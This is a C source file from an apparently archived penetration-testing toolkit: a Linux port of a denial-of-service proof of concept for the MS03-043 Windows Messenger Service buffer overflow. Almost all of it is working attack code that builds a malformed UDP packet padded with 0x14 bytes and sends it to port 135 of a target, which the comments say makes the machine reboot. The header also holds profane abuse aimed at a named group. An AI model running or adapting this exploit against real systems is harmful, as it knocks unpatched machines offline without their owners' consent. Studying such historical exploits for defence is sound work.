home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / ms03-043.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  188 lines

  1.  
  2. /*
  3. Mon Oct 20 14:26:55 NZDT 2003
  4.  
  5. Re-written By VeNoMouS to be ported to linux, and tidy it up a little.
  6. This was only like a 5 minute port but it works and has been tested.
  7. venom@gen-x.co.nz
  8.  
  9. shouts go out to str0ke and defy
  10.  
  11. And a big huge FUCK YOU to nz2600, who used to be people you could trust
  12. but nah fuck you wankers i dont care if you were my m8s irl none of you
  13. are m8s of mine, two faced cunts..
  14. *************************************************************
  15.  
  16. DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.
  17. Launching it one or two times against the target should make the
  18. machine reboot. Tested against a Win2K SP4.
  19.  
  20. "The vulnerability results because the Messenger Service does not
  21. properly validate the length of a message before passing it to the allocated
  22. buffer" according to MS bulletin. Digging into it a bit more, we find that when
  23.  
  24. a character 0x14 in encountered in the 'body' part of the message, it is
  25. replaced by a CR+LF. The buffer allocated for this operation is twice the size
  26. of the string, which is the way to go, but is then copied to a buffer which
  27. was only allocated 11CAh bytes. Thanks to that, we can bypass the length checks
  28.  
  29. and overflow the fixed size buffer.
  30.  
  31. Credits go to LSD :)
  32.  
  33. */
  34.  
  35. #include <stdio.h>
  36. #include <stdlib.h>
  37. #include <string.h>
  38. #include <unistd.h>
  39. #include <errno.h>
  40. #include <time.h>
  41.  
  42. #include <sys/types.h>
  43. #include <sys/socket.h>
  44. #include <arpa/inet.h>
  45. // added this to compile on *bsd
  46. #include <netinet/in.h>
  47.  
  48.  
  49.  
  50. // Packet format found thanks to a bit a sniffing
  51. static unsigned char packet_header[] =
  52. "\x04\x00\x28\x00"
  53. "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  54. "\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
  55. "\x4f\xb6\xe6\xfc"
  56. "\xff\xff\xff\xff" // @40 : unique id over 16 bytes ?
  57. "\xff\xff\xff\xff"
  58. "\xff\xff\xff\xff"
  59. "\xff\xff\xff\xff"
  60. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  61. "\x00\x00\xff\xff\xff\xff"
  62. "\xff\xff\xff\xff" // @74 : fields length
  63. "\x00\x00";
  64.  
  65. unsigned char field_header[] =
  66. "\xff\xff\xff\xff" // @0 : field length
  67. "\x00\x00\x00\x00"
  68. "\xff\xff\xff\xff"; // @8 : field length
  69.  
  70.  
  71. int usage(char *name)
  72. {
  73.     printf("Proof of Concept for Windows Messenger Service Overflow..\n");
  74.     printf("- Originally By Hanabishi Recca - recca@mail.ru\n\n");
  75.     printf("- Ported to linux by VeNoMouS..\n");
  76.     printf("- venom@gen-x.co.nz\n\n\n");
  77.  
  78.     printf("example : %s -d yourputtersux -i 10.33.10.4 -s n0nlameputer\n",name);
  79.     printf("\n-d <dest netbios name>\t-i <dest netbios ip>\n");
  80.     printf("-s <src netbios name>\n");
  81.     return 1;
  82. }
  83.  
  84.  
  85. int main(int argc,char *argv[])
  86. {
  87.         int i, packet_size, fields_size, s;
  88.         unsigned char packet[8192];
  89.         struct sockaddr_in addr;
  90.         char from[57],machine[57],c;
  91.         char body[4096] = "*** MESSAGE ***";        
  92.  
  93.         if(argc <= 2) 
  94.         {
  95.         usage(argv[0]);
  96.         exit(0);
  97.         }
  98.  
  99.        while ((c = getopt (argc, argv, "d:i:s:h")) != EOF)
  100.         switch(c)
  101.             {
  102.             case 'd':
  103.                         strncpy(machine,optarg,sizeof(machine));            
  104.                         printf("Machine is %s\n",machine);
  105.                         break;
  106.             case 'i':
  107.                         memset(&addr, 0,sizeof(addr));
  108.                         addr.sin_family = AF_INET;
  109.                         addr.sin_addr.s_addr = inet_addr(optarg);
  110.                         addr.sin_port = htons(135);
  111.                         break;
  112.             case 's':
  113.                         strncpy(from,optarg,sizeof(from));
  114.                         break;
  115.  
  116.             case 'h':
  117.                         usage(argv[0]);
  118.                         exit(0);
  119.                         break;
  120.             }
  121.                         
  122.         // A few conditions :
  123.         // 0 <= strlen(from) + strlen(machine) <= 56
  124.         // max fields size 3992
  125.  
  126.         if(!addr.sin_addr.s_addr) { printf("Ummm MOFO we need a dest IP...\n"); exit(0); }
  127.  
  128.         if(!strlen(machine)) { printf("Ummmm we also need the dest netbios name bro...\n"); exit(0); }
  129.  
  130.         if(!strlen(from)) strcpy(from,"tolazytotype");
  131.  
  132.         memset(packet,0, sizeof(packet));
  133.         packet_size = 0;
  134.  
  135.         memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
  136.         packet_size += sizeof(packet_header) - 1;
  137.  
  138.         i = strlen(from) + 1;
  139.         *(unsigned int *)(&field_header[0]) = i;
  140.         *(unsigned int *)(&field_header[8]) = i;
  141.         memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
  142.         packet_size += sizeof(field_header) - 1;
  143.         strcpy(&packet[packet_size], from);
  144.         packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4
  145.  
  146.         i = strlen(machine) + 1;
  147.         *(unsigned int *)(&field_header[0]) = i;
  148.         *(unsigned int *)(&field_header[8]) = i;
  149.         memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
  150.         packet_size += sizeof(field_header) - 1;
  151.         strcpy(&packet[packet_size], machine);
  152.         packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4
  153.  
  154.         fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n", 3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
  155.         memset(body, 0x14, sizeof(body));
  156.         body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';
  157.  
  158.         i = strlen(body) + 1;
  159.         *(unsigned int *)(&field_header[0]) = i;
  160.         *(unsigned int *)(&field_header[8]) = i;
  161.         memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
  162.         packet_size += sizeof(field_header) - 1;
  163.         strcpy(&packet[packet_size], body);
  164.         packet_size += i;
  165.  
  166.         fields_size = packet_size - (sizeof(packet_header) - 1);
  167.         *(unsigned int *)(&packet[40]) = time(NULL);
  168.         *(unsigned int *)(&packet[74]) = fields_size;
  169.  
  170.         fprintf(stdout, "Total length of strings = %d\nPacket size = %d\nFields size = %d\n", strlen(from) + strlen(machine) + strlen(body),packet_size, fields_size);
  171.  
  172.  
  173.     if ((s = socket (AF_INET, SOCK_DGRAM, 0)) == -1 )
  174.         {
  175.             perror("Error socket() - ");
  176.             exit(0);
  177.         }
  178.     
  179.         if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, sizeof(addr)) == -1)
  180.         {
  181.             perror("Error sendto() - ");
  182.             exit(0);
  183.         }
  184.  
  185.  
  186.         exit(0);
  187. }
  188.